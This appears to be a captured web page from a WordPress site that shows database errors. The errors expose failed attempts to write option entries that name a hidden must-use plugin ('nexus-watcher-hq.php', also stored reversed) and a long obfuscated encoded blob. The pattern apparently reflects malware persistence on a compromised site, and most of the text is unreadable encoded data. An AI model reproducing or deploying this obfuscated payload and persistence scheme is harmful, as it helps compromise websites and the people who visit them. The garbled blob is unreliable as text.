WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('b9a9e7e0c076', '4.3.24|php.qh-rehctaw-suxen', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_own_rec', 'a:8:{s:1:\"v\";s:6:\"4.3.24\";s:3:\"gen\";s:12:\"b7be3265c915\";s:4:\"path\";s:87:\"/home/u924082484/domains/hrja.in/public_html/wp-content/mu-plugins/nexus-watcher-hq.php\";s:4:\"slug\";s:16:\"nexus-watcher-hq\";s:5:\"state\";s:8:\"starting\";s:8:\"start_ts\";i:1788692648;s:7:\"boot_ts\";i:1788692648;s:3:\"req\";i:1788692648;}', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u924082484_pEIDN'@'127.0.0.1' for table `u924082484_1gjW3`.`wpid_options`]
INSERT INTO `wpid_options` (`option_name`, `option_value`, `autoload`) VALUES ('97c1fc80a3ee', 'mWYY_UXYWOQRggBGGgMGM=
M# WMMMMMMM%M*M!gMGM=
M8?$WMMMMMMMMWBB
C B B@
@gMGM)WMMMMMMM=
M	M M gMGM;WMMMMMMMMMMM\C_CYgMGM,WMMMMMMMMMMMM! M%gMGM!WMMMMMMMMMMM*=!@_C]@@gMGM9M) WMMMMMMM@
@gMGM?MMWMXC]gMGM?M=%=WMMMMMMZC]gMGBgBGM>.;WYC^C_YMGBgEL2EJ2[
^JDKKLEE		EJ>.2."?(2/""92;(?JDKK2 EE
D>.2."?(2/""92;(?AJYC^C_YJAJSPJDDEEI*!"/,!>6J22J0DKK2 EE
DI*!"/,!>6J22J0AJYC^C_YJAJSPJDDDDM]	\_EIDMIPVEIPPPDIP2 
EEJ\_[JAJ7SH%H&JAJ+N^NB+JAJ,!7%!<%JAJSP2&H%1J27P7JAJ
#2H,!7%!<%JAJW_H_:FHMLJAJ7P
&7JAJP2<JAJ7,7PJAJ7P%JAJ2!<%JAJ,!7%!<%JAJP2<JAJW_H_:FHMLJAJ11<T
#27JAJ<2JAJS><&JAJ2JAJP&S>JAJ%!<%JAJSP2&H%1J27P7JAJS&
JAJP%<
!<JAJP%<
!<JAJ77H#%PHP%<
H2JAJ11P<
JAJ27H2JAJ27H"2P!,%JAJW_H3F[ZF[HMLJAJ"
TS&P%PJAJ11]JAJ11N7SHP<
JAJ27H2JAJ<2JAJ27H"2P!,%JAJSP2&H%1J27P7JAJ
P%JAJ[_MLJAJ7SHP<
H21J%JAJSP2&H%1J27P7JAJ%!
!P>JAJ\_[JAJP2<JAJ11]JAJ11N7SHJAJ<CJAJ2JAJ11S&%HJAJ7,7PJDAEJ<CJAJS&%JAJN
>
JAJ27H7P2#JAJ7P%JAJ27H2JAJ27H2%JAJ2%H#%PHS&P%P7JAJSP2&H%1J27P7JAJ!&<B%^(2JAJW_H3F[ZF[HMLJAJ11
#2711JAJSP2&H%1J27P7JAJ%!
!P>JAJ%!
!P>JAJ27H7P2#JAJ27H2%JAJ#%PH&
P2&JAJSP2&H%1J27P7JAJ
!P%H&
P2&JAJN
>
JAJ!SP2%H
#27JAJ27H!!JAJ2H!!JAJ!SP2%H
#27JAJ!!H!%7JAJ27H7P2#JAJ
%#H<!PS>JAJ11]11]A63)]/]N]/]N]/O6]A]1111JAJ2%<P2<%JAJ2%72@%JAJ7SHS&H%PS>JAJ7SH
!&!HPJAJ!
!S>%H#%PH%72&JAJZLZLH[WLZJAJ7PP&&"%JAJZLZLH[WLZJAJ7P
&7JAJ!
!S>%JAJ2P%7
%%JAJ7P
&7JAJ&
%2P%7
%%JAJ
>
H7!
2H!<%JAJS2JAJLZ;Z[HZ[MJAJZLZLH[WLZJAJ22H#%PJAJ&
%H,!7%2JAJ%!
!P>JAJ%1J
&%JDAEJ7P
&7JAJM\HFZJAJ\_[JAJ7SH&SHJAJ7SH&SHJAJ7SH&SHJAJ27H&,	%SPJAJ<%P>&H%1J27P7JAJ#%PH!JAJZ:Z3[6Z[H:3YJAJY'6(OJAJ7SH&SHJAJ&SJAJ&
%JAJ77H#%PHP%<
H2JAJP2<JAJ117SHJAJN&SJAJ7SH&SH>JAJ7SH&SH>JAJ7SH&SH>JAJ%JAJZ:Z3[6LZ:ZZH:3YJAJYOJAJM::WH:ZHMJAJ[>&"!,%JAJ)6JAJ7,7PJAJ)6JAJ7SH%&7JAJS&PJAJ7SH%&7JAJ!!H72S%JAJ!H!SP2&JAJ27H7P2#JAJ!H2P%JAJ27H7P2#JAJSP2&H%1J27P7JAJ2JAJ11S!S>%JAJ112%1JN
>
JAJ27H"2P!,%JAJ11S!S>%JAJ27H2JAJW_H3F[ZF[HMLJAJ27H"2P!,%JAJ27H"2P!,%JAJ7SH
#%JAJ7SH
#%JAJ7SH
#%JDAEJ7SH
#%JAJ7SH
#%JAJ%!
!P>JAJ%#27P%H7>P&"HSP2&JAJ%#27P%H7>P&"HSP2&JAJ%2	#	H	"+==2JAJ7SH
#%JAJ7SH
#%JAJ2JAJSP2&H%1J27P7JAJ&
S!S>%H2!2!P%JAJ%&H#%PH!7PJAJ27H!!JAJ2%JAJP
%JAJP
%JAJ<%77!#%JAJ&"%6<%<&672@%JAJ!1J2<<6%1J%SP2&6P2<%JAJ%!
!P>JAJ%!
!P>JAJ%!
!P>JAJ2%JAJ2%JAJ7SH,&&PH%JAJ7SH,&&PH7PJAJSP2&H%1J27P7JAJS%!7P!PS!S>%JAJ2%H#%PHS&P%P7JAJ11NHJAJ11N,HJAJP2<%JAJ7SH
!P%H,!JAJP2<%JAJ&JAJ27H"2P!,%JAJ#%PH&
P2&JAJ2H!!JAJ!!H2JAJ!2JAJN&JAJSP2&H%1J27P7JAJ2!<%JAJ27H!!JAJ7,7PJAJN
>
N&JAJ11N7HJAJ11]/]N]/]N]/11JAJ-JAJ2%H
PHS&P%P7JDAEJ7SH
%2#H2!2!P%JAJ
#27H&!%JAJ,%7%(
B#SX!JAJ%
7@S^7	7C"JAJ<CJAJ(N(N(JAJ%1J
&%JAJ%7JAJ%7JAJ
!P>2&JAJ2%72@%JAJ2%H#%PHS&P%P7JAJ11]11]A63)]/]N]/]N]/O6]A]1111JAJ
!P>2&JAJ!SP2%H
#27JAJ27H<P272P%JAJ#%PH72P%H&
P2&JAJ!SP2%H72P%"2%H
#27JAJ27H7P2#JAJ11]11]A63)]/]N]/]N]/6]A]1111JAJ
!P>JAJ27H7P2#JAJ27H7P2#JAJ%!JAJ#&%JAJ%7JAJ%7JAJ7SH%
HP&&JAJ
#27H&!%JAJS7#
##C,<7BC
JAJ7P!P2#JAJSP2&H%1J27P7JAJ!!H2JAJ%
JAJ%
7@S^7	7C"JAJSP2&H%1J27P7JAJ&
%2JAJ%!2JAJ&
%2JAJNNJAJS&7%2JAJS&7%2JAJSP2&H%1J27P7JAJ7S!2JAJ!!H!%7JAJSP2&H%1J27P7JAJ#&,JAJ11AJAJ27H!!JAJ!!H<!
JDAEJ,!7%!<%JAJ7P
&7JAJV.JAJP&%H#%PH!JAJ[ZFH_LZJAJ27H!!JAJ(1JX+CBS535C==+=(3,X5=5,X(5Z(^JAJ(1J=^X5SZCS^BCX%=^M555+5=ZM!,,%X+,JAJ(1JBSC+^CZ(5X+(!+=X(+\X^X^CMC(!,\\JAJ>PP
7)1111(1J
SN2&11%P>JAJ>PP
7)1111%P>%%<T
,2SN&2%7N!

JAJ>PP
7)1111%P>N
SN&#JAJ>PP
7)1111
SN%P>N#!P%"!N<JAJ>PP
7)1111%P>N,&S!@&N1J@JAJ>PP
7)1111
,2ST%P>N&"&%7N2&JAJ>PP
7)1111%P>T<!2%PN
S!7PNS&<.!
2H%1J,>W\5W#=F5,:_:<#"E%3+#BW"2# <_W L1J7Z;"JAJ>PP
7)1111%P>5N!!N,2JAJ>PP
7)1111%P>N
SN,1J,NS&<JAJ>PP
7)1111%P>T<!2%PN
,2SN,!7P!
2N2&JAJ>PP
7)1111#!P%"!NP%%NS&11
,2S11<!2%PJAJ>PP
7)1111%P>%%<N
SN7,%N%P"&11
,2SJAJ>PP
7)1111%P>%%<T
SN
,2S&%NS&<JAJ>PP
7)1111<!2%PN#!P%"!NP%%NS&JAJ>PP
7)1111%P>N!
2N&2!2PN2&11
,2SJAJ>PP
7)1111%P>%%<N
,2SN,&S
2N%P"&11511
S11
,2SJAJ>PP
7)1111%P>%%<T	7&T
SN7P!%N2&JAJ>PP
7)1111
SN7%P2&N1J@11<!2%PJAJ>PP
7)1111%P>N<%%N2&JAJ>PP
7)1111%P>N!
2N
&S%PN%P"&JAJ!<2HJAJ!<HJAJ!<227P!P&HJAJ,!S
HJAJ#@%S&%JAJ#@%!P%JAJ
!SJAJSS^BJAJ7P%JAJ7P%JAJ7P%JAJ
!SJAJ27H!!JAJ#@%S&%JAJ#@2!P%JAJ27H7P2#JAJ>%1JB,2JAJ
!SJAJAJAJ"
T!<211JAJ"
T2S%711JDAEJW_H3F[ZF[HMLJAJ#&,JAJAN
>
JAJ27H!!JAJ!!H!JAJ"
H!JAJ!JAJ27H7P2#JAJS!H7%HSJAJ"
H%<&P%H#%PJAJP2<%&PJAJ77%2JAJ2<2PH%7
&7%H72@%JAJ27H"
H%&JAJSP2&H%1J27P7JAJSH22PJAJSH7%P&
PH!!JAJSH%1J%SJAJ3L:_[HLZ[LF[LFZLJAJ3L:_[H[Z[JAJ3L:_[H:HZLE_ZZLJAJ3L:_[H:HZLE[JAJ3L:_[HF_LLZJAJ3L:_[H_LLZF3[FJAJ>PP
HS&%JAJ7P%JAJ"
H%<&P%H
&7PJAJ2<2PH%7
&7%H72@%JAJ>%!%7JAJ,&JAJ)6JAJR6JAJSH7%P&
PH!!JAJ3L:_[H_[JAJ3L:_[H_[Z:MJAJ3L:_[H[[_ZMZLJAJ3L:_[H_LLZF3[FJAJSP2&H%1J27P7JAJ#%PH&
P2&JAJ7SH!7PH
SJAJ!!H7>2PJAJP2<JAJIQ	7&
SQ)QBN(Q'Q2Q)^'Q<%P>&Q)Q%P>HS!Q'Q
!!<7Q)KIQ!P!Q)Q(1J^,SC%^(Q'QP&Q)QJAJQ*'Q!P%7PQD*JAJ3&P%PT[
%JAJ!

2S!P2&11	7&JAJ<2S&P2<%JAJ<2S&P2<%JAJ	7&H%S&%JAJ%7PJDAEJ27H7P2#JAJ(1JJAJ>%1JB,2JAJ&JAJ7,7PJAJ7P%JAJ7P%JAJ27H7P2#JAJ%7&%JAJ
SH%S
PH!2%JAJ7P%JAJ%7&%JAJ
SH,!H%H%#P>JAJ!!H!%7JAJ!!H2P%JAJ!!H<!
JAJ
%#H7
2PJAJ11].]11JAJ
!P%H&
P2&JAJ7SHSBHS!S>%JAJ2<
&%JAJ7%%H%JAJ7JAJ7H%JAJ27H7P2#JAJ
%#H7
2PJAJ11].]11JAJ7%%H%JAJ%7&%JAJ
SH!H!2%JAJ7%2!2@%JAJS>JAJ<PH!JAJ&JAJ,!7%+H%S&%JAJ#%PH&
P2&JAJ,!7%+H%S&%JAJ7P%JAJ__HZLFHMJAJ7%2!2@%JAJ!&"%HS!77%7JAJ7PH%
!S%JAJ7,7PJAJ<CJAJ%
JAJ7"JAJ7"HJAJ7P%JAJ7P%JAJ7"HS!S>%JDAEJ27H7S!!JAJ7SH%&7JAJ%&7JAJ!!H<%#%JAJ!!H2%JAJ7SH%&7JAJ&JAJ7>H%&7JAJ7P%JAJ7P%JAJS>JAJ7SH
!&!H
%727P%PJAJS&P%!JAJS&P%!JAJ7SH2P%!JAJ2P%!JAJ27
!JAJ37P&<6<!2P%!S%62P%!JAJ7SH#!H2P%!JAJ27
!JAJ37P&<6<!2P%!S%62P%!JAJSP2&H%1J27P7JAJ"
H%1JPH7S>%%JAJ"
H7S>%%H%%PJAJ7SHS>!2JAJ<PH!JAJMFH3LFJAJ7>P&"JAJ1J%S%@X^#2@5#P<JAJ72P%HJAJ"
H%<&P%H#%PJAJ"
TS&N
>
.&2#H"
HS&JAJ,&S2#JAJ!7PS#2H227>H%%7PJAJ2P%7
%%H227>H%%7PJAJ2#&%H7%H!,&PJAJ@2,N&P
PHS&<
%772&JAJ&,H#%PH%%JAJSP2&H%1J27P7JAJ&,H#%PH%#P>JAJ3&P%PT:%#P>)6JAJ3&%SP2&)6S&7%JAJ&,H%H7>JAJ7>JAJ"
H7S>%%H72#%H%%PJAJM\:ZHW_H3LFJAJSP2&H%1J27P7JAJ7SH!7PH%PS>HP7JAJSP2&H%1J27P7JAJ7SH7%%H%JDAEJ"
H7S>%%H%%PJAJ"
H%1JPH7S>%%JAJ%PS>JAJS&H7P!%H22%JAJP2<%JAJSP2&H%1J27P7JAJ7%PHP2<%H2<2PJAJ7%PHP2<%H2<2PJAJ7>P&"JAJ#%PHP!72%PJAJ7SH
!&!H
%727P%PJAJ27H!!JAJ
#2L%7JAJ7SH
#2H%7JAJ2	%SPL%7JAJ7SH2	%SPH%7JAJ2	%SPL%7JAJ	7JAJ7SH	7JAJ
!#%JAJ
!#%JAJ
!#%JAJ7SH
!#%JAJ
!#%JAJ7SH7"JAJS!S>%JAJSP2&H%1J27P7JAJ7SH!7PH>%!HP7JAJ#%PHP!72%PJAJ7SH>%!H7S!JAJ7SJAJ27H7P2#JAJ7SH!7PH>%!HP7JAJP2<%JAJW_H_:FHMLJAJSP2&H%1J27P7JAJ11A11AN
>
JAJ
%#H%
!S%JAJ11]7/11JAJ2%H#%PHS&P%P7JAJ
%#H%
!S%JAJSP2&H%1J27P7JAJ7%PHP!72%PJAJ7SH!7PH>%!HP7JAJ&JAJ>%!JAJ2H!SP2&JAJSP2&H%1J27P7JAJ1J%S%@X^#2@5#P<JAJ>&<%HJDAEJ7SH!7PH>,JAJ#%PHP!72%PJAJ7SH
!&!H
%727P%PJAJ
!&![PJAJ
!&![PJAJ7SH!7PH%PS>H!2HP7JAJ7SH%PS>H!27JAJ<!1JJAJ<2JAJ%JAJ
>
JAJ7!
2JAJ77JAJSP2&H%1J27P7JAJ27H77JAJ<7JAJ27H<P272P%JAJ"
JAJ"
H%72&JAJ7JAJ7SH	7JAJ	7H&JAJ	7H%JAJ7P%JAJ	7H%JAJ7SH	7H
2P%JAJ	7H&,JAJ7SH	7H&,H7%JAJ	7HP7JAJ#%PH&
P2&JAJ7SH	7H
2P%HP7JAJ7"HJAJ7"H>2P7JAJ7SH7"H%
H>2P7JAJ7"H!7PJAJSP2&H%1J27P7JAJ7SH7"H%
H!7PJAJ7"H>!JAJ7SH7"H>!JAJH!JAJ27H2%JAJ11!!S%TS!S>%N
>
JAJ2%H#%PHS&P%P7JAJH,JAJ11,N
>
JAJH&SJAJ11&,	%SPTS!S>%N
>
JAJ2%H#%PHS&P%P7JAJN#HJAJN#HJDAEJH#!JAJ"
T2S%7JAJN
>
JAJH#!JAJP2<%JAJ7%H22N2%!<%JAJ27H7P2#JAJ&%OJAJN7%N22JAJH22JAJ7P
&7JAJ!P&H
%
%H2%JAJH>PJAJ27H2%JAJN>P!SS%77JAJ!P&H
%
%H2%JAJH"SJAJ"
TS&2#N
>
JAJ7P
&7JAJ"
TS&2#N
>
JAJ3HW3JAJ
%
%JAJ3H[H_LZ_ZFMJAJ
SJAJW_HL3Z[HZLFJAJ:3W_HJAJW^[3JAJ7#HS!S>%
%77H
#%HS!S>%JAJS!77H%1J27P7JAJ3!S>%HZ!,%JAJ"
H!7P%7PHS!S>%JAJSP2&H%1J27P7JAJ"
HS!S>%H7%%HS!S>%H2%JAJH&JAJH!27JAJH!2HP7JAJ7SH!7PH%PS>H!2HP7JAJ2SJAJ27H!!JAJSJAJ27H!!JAJP7JAJP7JAJ2SHJAJ2SHB!JAJSP2&H%1J27P7JAJ7SH,H<&%JAJ,JAJ27H7P2#JAJ7,7PJDAEJSP2&H%1J27P7JAJ#%PH&
P2&JAJ7SHS!!JAJSJAJ2P%<7JAJ%JAJSP2&H%1J27P7JAJ"
T&#2N
>
JAJSP2&H%1J27P7JAJ"
H&#2HJAJSP2&H%1J27P7JAJ
!7%HJAJ__HL:H[JAJSP2&H%1J27P7JAJ#%PH72P%HJAJ#%PH,&#2&JAJJAJSP2&H%1J27P7JAJ
!7%HJAJ72P%JAJ[[_H[JAJ[[_H[JAJZLZLHFZJAJZLZLHFZJAJSP2&H%1J27P7JAJ<!1JH%1J%SP2&HP2<%JAJ7%PHP2<%H2<2PJAJ<2S&P2<%JAJ7%%H%JAJ7JAJSP2&H%1J27P7JAJ7SH!7PHSBJAJ7>%JAJ#%PH&
P2&JAJW_H_:FHMLJAJ#&,JAJP2<JAJ11AN
>
JAJ,!7%!<%JAJ&<!2JAJ
#2%72&JAJ
#2JAJN
>
JAJ&&PJAJ11]JAJ!SP2!P%_#27JAJ<_#27JAJ&#2JAJ!<27JAJ!<273&&2%7JDAEJ%&7JAJSP2&H%1J27P7JAJ"
H	7&H%S&%JAJ	7&H%S&%JAJ!

2S!P2&11&SP%PT7P%!<JAJP2<JAJ	7&H%S&%JAJ%PS>JAJSBH%<
P6JAJ%PS>JAJSBH%S
PH!2%6JAJ	7&H%S&%JAJP2<JAJ7SH!7PHSBJAJSBH,!H	7&6JAJ%PS>HJAJ
#2%72&JAJ,%!S&JAJ/11JAJTHJAJ7PH7
2PJAJ<2S&P2<%JAJ7SH,JAJ02JAJ0JAJ0JAJ27H7P2#JAJ27H!!JAJ27H!!JAJ27H!!JAJ%%P%H&
P2&JAJ7SH%&7JAJ!!H!%7JAJ7SH%&7JAJ
#2JAJ
#2JAJP!#%P%72&JAJ27H7P2#JAJP!#%P%72&JAJ&S%
!P%JAJ
#2L%7JAJ7SH
#2H%7JAJ7SH
#2H%7JAJ27H!!JAJ2	%SPL%7JAJ!!H2JAJ	7HS!S>%JAJ7SH	7JAJ	7JAJ<CJDAEJ	7HS!S>%JAJ27H!!JAJ27H7P2#JAJ7P%JAJ7SH
!#%JAJ
!#%JAJ
!#%JAJ
!#%HS!S>%JAJ7"JAJ7P%JAJ7"JAJ7"JAJ&JAJP%<
!P%7JAJP%<
!P%7JAJP%<
!P%7JAJ#!JAJ!!S%3!S>%JAJ!HP
JAJ,JAJ,HP
JAJP>%<%JAJP>%<%HP
JAJ>P!SS%77JAJ>PHP
JAJ7%2JAJ2HP
JAJ27P!%JAJ27PHP
JAJ&S:&!%JAJ&SHP
JAJ27H<%2SJAJS&P%!JAJ27H<%2SJAJ7SH%PS>H!27JAJ7SH!7PH%PS>HP7JAJP1JP@S+",5JAJ7SH
!&!H
%727P%PJAJ27H!!JAJ7SH
!&!H
%727P%PJAJ&JAJSP2&H%1J27P7JAJ"
H#%PH7S>%%H%%PJAJ"
HS%!H7S>%%H>&&JAJ7SH2P%!JAJ7SH!7PH%PS>HP7JAJ7SH%PS>H!27JAJV.
>
JAJ
!P%JAJ7P!1JH%&JDAEJ7,7PJAJ%H<27<!PS>JAJ&H7SJAJ&H
%JAJ<CJAJ<CJAJ2JAJSP2&H%1J27P7JAJ>&<%HJAJ%2%SP2&JAJ77%2JAJSP2&H%1J27P7JAJSP2&H%1J27P7JAJ#%PH&
P2&JAJ27H!!JAJ
!P%JAJ%
!S%H!2JAJ7%PHP!72%PJAJ7SH%S&%HS>%SJAJ"
H%<&P%H#%PJAJ>&<%HJAJ"
H%<&P%H#%PJAJ11.7SHS,JAJ<PH!JAJP2<%&PJAJ7%%
JAJ7%%
JAJ7%%
JAJ&,!SH!2HJAJN
>
JAJ!SP2%H
#27JAJ!SP2%H
#27JAJ7SH
%727P%JAJ
!P%JAJS!!H&,!SHJAJ7SJAJ#%PH
#27JAJ2%H%1J27P7JAJ"
T!<2112S%711
#2N
>
JAJ#%PH
#27JAJ27H7P2#JAJ7S!JAJ2!<%JAJ27H%!!,%JAJ2SJAJ
>P<JAJ>P<JAJ	7JAJS&PJAJ27H2JDAEJ
!P>2&JAJ_[FHZ[ZFFJAJ7PP&&"%JAJ7P
&7JAJ%!SP2!P%H
#27JAJ"
T!<2112S%711
#2N
>
JAJSP2&H%1J27P7JAJ2!<%JAJ27H2JAJ2!<%JAJ2!<%JAJSP2&H%1J27P7JAJ%%P%H
#27JAJS%PH7%HS!JAJ#%PH7%7JAJ"
H7%PHS%PH7%JAJ&%JAJ!<227P!P&JAJ<,%JAJ"
H7%PHS%PH7%JAJ27H7P2#JAJNNJAJW_H_:FHMLJAJ%!
!P>JAJ7P
&7JAJ7S!2JAJMLZ3[LEHZ_L[LJAJ<2JAJ2%H%1J27P7JAJ!!H%7JAJ27H7P2#JAJ27H2JAJ27H!!JAJ7SH
#2H%7JAJ7SH2	%SPH%7JAJ%7S!JAJ7SH!7PHP<
S%!JAJ7SHJAJ7SHJAJ"
HJAJ27H!!JAJ2%<P2<%JAJN
>
JAJ"
TS&P%PJAJ11
#27JAJSP2&H%1J27P7JAJ#&,JAJ2!<%JAJ2H!!JAJ3HM_H\ZFJDAEJ11].]11]A63HM_H\ZF)K!T@T (TXNH)D/O6]A]11NA.]11]A63HM_HZFM)]56]A]11].117JAJ27H7P2#JAJSP2&H%1J27P7JAJ&
S!S>%H2!2!P%JAJ7SH!7PH%7S!JAJ7SH!7PH%7S!JAJ
%2&2SJAJ<2#!P%JAJ7SH2!2JAJ7SH<2#H!2JAJ27H%!!,%JAJ27H"2P!,%JAJ<H&PH"2P!,%JAJ7%PHP!72%PJAJ7SH<2#H!2JAJ27H2%JAJ<CJAJ27H2%JAJ2%H#%PHS&P%P7JAJ2%H#%PHS&P%P7JAJ27H2%JAJ2%H#%PHS&P%P7JAJ7SH<2#H!2JAJ<2#!P%JAJ27H7P2#JAJ&JAJ&JAJ%%P%HP!72%PJAJSP2&H%1J27P7JAJ
!P%H&
P2&JAJ7SH22P2!2@%JAJ&JAJ!H&
P2&JAJSP2&H%1J27P7JAJ7SH!7PH%PS>HP7JAJ&JAJ%%P%HP!72%PJAJ7SJAJ&JAJ7>P&"JAJ7>P&"JAJP<#
5<XH7PB@7JAJ22PJAJ%%P%H&
P2&JAJP2<%&PJAJ"!<JAJ27H!<2JAJSP2&H%1J27P7JAJ!SP2!P%H
#27JAJ!SP2&JDAEJ!SP2!P%JAJ!SP2!P%T7%%SP%JAJS>%S%JAJ27H7P2#JAJ"
H7!%H%2%SPJAJSP2&H%1J27P7JAJ!<2HJAJ
#27N
>
JAJ7S!H!SPJAJ&
27JAJ
#27JAJ\_[JAJ,N
>
JAJ3HM\JAJ!!S%TS!S>%N
>
JAJ3HMJAJ2%H#%PHS&P%P7JAJ7P
&7JAJ11A6JAJH\ZF)JAJ11]11]A6JAJH\ZF)K!T@T (TXNH)D/O6]A]11NA.]11]A6JAJHZFM)]56]A]11117JAJ27H7P2#JAJ<7P7%JAJ,!7%!<%JAJ<7P7%JAJS55C	2S5JAJV7P%-PK!P!T
#2QJAJQD'PK!P!T
#2QJAJQDI27
!)&%?2<
&P!P*V117P%-JAJV7S2
P-&S<%PN!Z%P:27P%%QM3&P%P:&!%Q'SP2&OI&S<%PN%%%SP&QPK!P!T
#2DQON&Z!S>SP2&OI!6
N#%PPP2,P%Q!P!T
#2QOR2
QJAJQ
QJAJQON%<&%O*OR!6S&S<%PN%%%SP&QN7,7,7,6N<7P7%6NS&PQOR2SOI!6
!7%PSNP%1JP3&P%PN%
!S%11K (TXD11#'QQOO(R2-(OSNP%1JP3&P%PQQ/!P>N<!1J('T5O/QOQ**ORV117S2
P-JAJ<@%<#@HH
!JAJ27H&,	%SPJAJ
>C%7	,#>%&JAJ27H!!JAJ#%PH
#2H!P!JAJF!<%JAJ"
T
#27T!SP2%JAJ"
T
#27T2!SP2%JAJ2%7JAJ2%7JAJ2%7JAJ"
T<T
#27JAJ"
T
#27T<7P7%JAJ,!7%!<%JAJ27H2JAJSP2&H%1J27P7JDAEJ11A63)JAJ11_#26F!<%)]7AK ]]AD/O112JAJ"
T&
27JAJ2%7JAJW_H3F[ZF[HMLJAJ!!S%TS!S>%N
>
JAJ27H7P2#JAJ7P
&7JAJ11A63)JAJ"
T&
27JAJ27H!!JAJ,!7%!<%JAJ
!PP%JAJ
%#H&P%JAJ98JAJ>2%JAJ
!PP%JAJ811JAJ&&P7JAJ27H2PJAJ&&P7JAJ!PP2,P%7JAJ!PP2,P%7JAJ&&P7JAJ!PP2,P%7JAJ__HGLHZLFJAJ__HGLHZLFJAJS!77H%1J27P7JAJ%2%3&%SP&JAJ,!7%!<%JAJ11"
T2%T<!!#%112,11
>
11%2%3&%SP&NS!77N
>
JAJ112%T<!!#%112,11
>
11%2%3&%SP&NS!77N
>
JAJ112%T<!!#%T!!S%112,11
>
11%2%3&%SP&NS!77N
>
JAJ2!<%JAJNS!77N
>
JAJN
>
JAJ2%H#%PHS&P%P7JAJ7P
&7JAJS!776%2%3&%SP&JAJ11 ]7AV].
>
O.11JAJ7PH%
!S%JAJS!776H3H%2%3&%SP&HL%!JAJV.
>
6JAJH7SH>2%JAJH7SH>2%H2JAJV.
>
6S!776%2%3&%SP&6%1JP%76H3H%2%3&%SP&HL%!6IJAJ
&P%SP%6SP2&6&P
P6!!69!P!6O6IJAJ9>2%66277%P69:\:KQH7SH>2%QD6O6.69:\:KQH7SH>2%QD6)6QQRJAJ2669>2%6?6QQ6006SP2&H%1J27P76Q7SH<H2P%Q6O6O6IJAJ9!P!667SH<H2P%69!P!'69>2%6ORJDAEJ
!%P))&P
P69!P!6ORJAJ<JAJP=+71J"@P(H+&%+JAJ2%7JAJ!%JAJS>!#%JAJP%%JAJ!<%JAJ#%PHP!72%PJAJ7SH%S&%HS>%SJAJ7P%JAJ2%H#%PHS&P%P7JAJ27H7P2#JAJ7SH
!P%H,!JAJ27H7P2#JAJ7P
&7JAJ7,7PJAJ7P
&7JAJ27H7P2#JAJ7P%JAJ<CJAJ<CJAJ7%PHP!72%PJAJ7SH%S&%HP>&PP%JAJ%S&%JAJ7&S%H%<
PJAJ7SH%S&%HP>&PP%JAJ7P%JAJ2!<%JAJ2%H#%PHS&P%P7JAJSP2&H%1J27P7JAJSP2&H%1J27P7JAJ7%PHP!72%PJAJ7SH%S&%HS>%SJAJ"
H7%H%"H7%H&P22S!P2&HP&H!<2JAJHH%PH!7%JAJ"
H%"H7%H&P22S!P2&H%<!2H!<2JAJHH%PH!7%JAJSP2&H%1J27P7JAJ%<&%H!SP2&JAJ%#27P%H%"H7%JAJ"
H7%H%"H7%H&P22S!P2&7JAJ%2PH7%HS%!P%H7%JAJ"
H7%H%"H7%H&P22S!P2&7JAJ"
H&#2JAJ"
H&P2H!<2H%"H&#2JAJ"
,JAJS!
!,22P2%7JAJZ:Z3[6NM'6N7%H&#2'6N7%H
!77'6N7%H%<!26L6JAJ66FFZL6GF6JDAEJ6<6F6NM66<N7%H26WZLZ6<N<%P!H%66$76FM6<N<%P!H!%6:Z6$7JAJ$!<227P!P&$JAJP&JAJSP2&H%1J27P7JAJ"
H#%%!P%H!P>HS&&2%JAJW_H%772&H[&%7JAJ7%S%H!P>JAJ!P>JAJZ3LZH[H3ZJAJ[H3ZJAJ:ZMHFH3ZJAJ3ZHMFJAJP2<JAJ3Z_[JAJMFH3ZH_[JAJ11"
T!<2JAJ[LZJAJ:ZJAJ"
H<!2JAJ277%JAJ7%H<%P!JAJ7%772&HP&%7JAJ%1J
2!P2&JAJS&PJAJ#%PH27P!S%JAJ"
H#%%!P%H!P>HS&&2%JAJ&##%H2JAJ[LZJAJ"
H#%%!P%H!P>HS&&2%JAJSP2&H%1J27P7JAJS&&2%7JAJ"
H<!2JAJ27H7P2#JAJ27H7P2#JAJ,JAJ,
JAJ27H!!JAJ<%P>&H%1J27P7JAJ>!7HS!
JAJ27H7P2#JAJP7JAJP7JAJ&JAJ2P%S%
PJAJ27H7P2#JAJ2SJAJ&JAJ&#2HSJAJ11 JAJK!T(TXDI'5(*911JDAEJ27H7P2#JAJJAJ>PJAJ>5C
7S2<H=<#X	(JAJ27H!!JAJ%1J
&%JAJ>5C
7S2<H=<#X	(JAJ7SJAJ2%H
PHS&P%P7JAJ7P%JAJ2!<%JAJ27H2JAJ2&JAJ!P&<2SH&H26JAJ,!7%!<%JAJ!P&<2SH,!H
>
6JAJ27H2JAJ27H2%JAJ27H2JAJ2%72@%JAJSP2&H%1J27P7JAJ2&JAJ!P&<2SH&HP%<
!<6JAJ,!7%!<%JAJ",JAJ"2P%JAJSP2&H%1J27P7JAJ7SJAJ!P&<2SHP%<
H!26JAJ!P&<2SH7>&PH"2P%6JAJ27H2%JAJN7S&JAJ27H2%JAJ27H2%JAJ!P&<2SH%!<%H!26JAJ7P%JAJSP2&H%1J27P7JAJ>!7>H2%JAJ7,7PJAJ2&JAJ!P&<2SH%2H!26JAJ27H7P2#JAJ<CJAJ!P&<2SHP>2H
!P6JAJ2%H
PHS&P%P7JAJV.JAJ27H2%JAJ"#571J%
!@^">JAJ7P
&7JAJ7SH
,JDAEJ"
H%<&P%H#%PJAJ%2%SP2&JAJ3!S>%T3&P&JAJ&TS!S>%JAJSP2&H%1J27P7JAJ7%%
JAJ>%!%7JAJ11].V&%6<&H
>
K(TXNDA]NS-]7A
>
H!%6!P&H
%
%H2%K ]DAJAJK ]DA]V]11&%-].112JAJ11].V&%62P%7
%%-]7A
>
H!%6!P&H
%
%H2%K ]DAJAJK ]DA]V]11&%-].112JAJ11].
>
H!%6!P&H
%
